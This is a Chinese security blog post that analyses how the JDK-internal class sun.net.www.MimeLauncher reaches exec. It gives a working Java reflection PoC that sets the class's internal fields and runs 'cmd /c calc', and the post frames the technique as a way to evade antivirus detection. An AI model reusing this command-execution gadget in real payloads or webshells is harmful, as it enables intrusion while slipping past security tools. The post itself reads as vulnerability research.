前言
rt.jar内的sun.net.www.MimeLauncher
类的run方法调用了exec
据说可以有效绕过某些免杀,下面分析一下调用过程
MimeLauncher
run()
首先:调用了this.m.getTempFileTemplate()方法,this.m是构造器传入的·MimeEntry类,getTempFileTemplate()
方法返回了StringMimeEntry.tempFileNameTemplate
然后run()接着调用了this.getTempFileName()
,入参是this.uc.getURL()
和上面拿到的String,this.uc是构造器传入的URLConnection,所以这里是获取了连接的URL
this.getTempFileName()
没什么限制,只有第二行这里要保证传入字符串必须存在%s
否则substring方法是会报错的
接着run()下面调用了this.is.read()
,this.is是传入的InputStream,要出这个while也很简单,只要保证read返回值<0即可,因此要重写一个read方法恒返回<0就行
后面就是一些字符串替换什么的了,然后直接执行this.execPath的命令
因此这个方法只涉及四个重要变量:
- 构造器传入MimeEntry:要求TempFileTemplate有一个%s
- 构造器传入URLConnection
- 构造器传入InputStream:要求重写read方法返回值 < 0
- this.execPath是待执行的命令
MimeLauncher()
类属性
看一下构造器,前三个是调用run必须的变量,后面两个没用到
这里对this.m.getLaunchString()
进行了if判断,首先它获取了MimeEntry的command属性
然后这个MimeEntry的command属性必须是一个存在的文件才能返回true,而且此时this.execPath也就是待执行的命令会被MimeEntry.command所覆盖
这个方法涉及两个重要变量:
- 构造器传入MimeEntry:command属性必须是一个存在的文件
- this.execPath必须在构造器调用之后才能覆盖成待执行的命令
反射调用MimeLauncher.run()触发RCE
条件
总结一下:
- MimeEntry:TempFileTemplate为%s、command为一个存在的文件路径
- URLConnection:任意URL,即使只有协议头
http://
都可以 - InputStream:重写read()方法返回 < 0
- MimeLauncher:this.execPath是待执行命令
PoC
package MimeLauncherTest;
import sun.net.www.MimeEntry;
import java.net.URL;
import java.net.URLConnection;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Constructor;
public class ExecTest {
public static void main(String[] args) throws Exception{
String cmd = "cmd /c calc";
MimeEntry mimeEntry = new MimeEntry("test");
Class entryClass = Class.forName("sun.net.www.MimeEntry");
Field tempFileTemplateField = entryClass.getDeclaredField("tempFileNameTemplate");
tempFileTemplateField.setAccessible(true);
tempFileTemplateField.set(mimeEntry, "%s");
Field commandField = entryClass.getDeclaredField("command");
commandField.setAccessible(true);
commandField.set(mimeEntry, "C:\\Windows\\System32\\drivers\\etc\\hosts");
URLConnection urlConnection = new URL("http://").openConnection();
InputStream is = new InputStream() {
@Override
public int read() throws IOException {
return -1;
}
};
Class launcherClass = Class.forName("sun.net.www.MimeLauncher");
Constructor mineLauncherConstructor = launcherClass.getDeclaredConstructor(MimeEntry.class, URLConnection.class, InputStream.class, String.class, String.class);
mineLauncherConstructor.setAccessible(true);
Thread mimeLauncher = (Thread) mineLauncherConstructor.newInstance(mimeEntry, urlConnection, is, "", "");
Field execPathField = launcherClass.getDeclaredField("execPath");
execPathField.setAccessible(true);
execPathField.set(mimeLauncher, cmd);
Method runMethod = launcherClass.getDeclaredMethod("run");
runMethod.setAccessible(true);
runMethod.invoke(mimeLauncher);
}
}
因为创建了FileOutputStream,rce的同时会生成名称包含HJ
的文件,详细逻辑可以在getTempFileName()
查看(无伤大雅的小细节)
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/127555739
版权声明:本文为原创,转载时须注明出处及本声明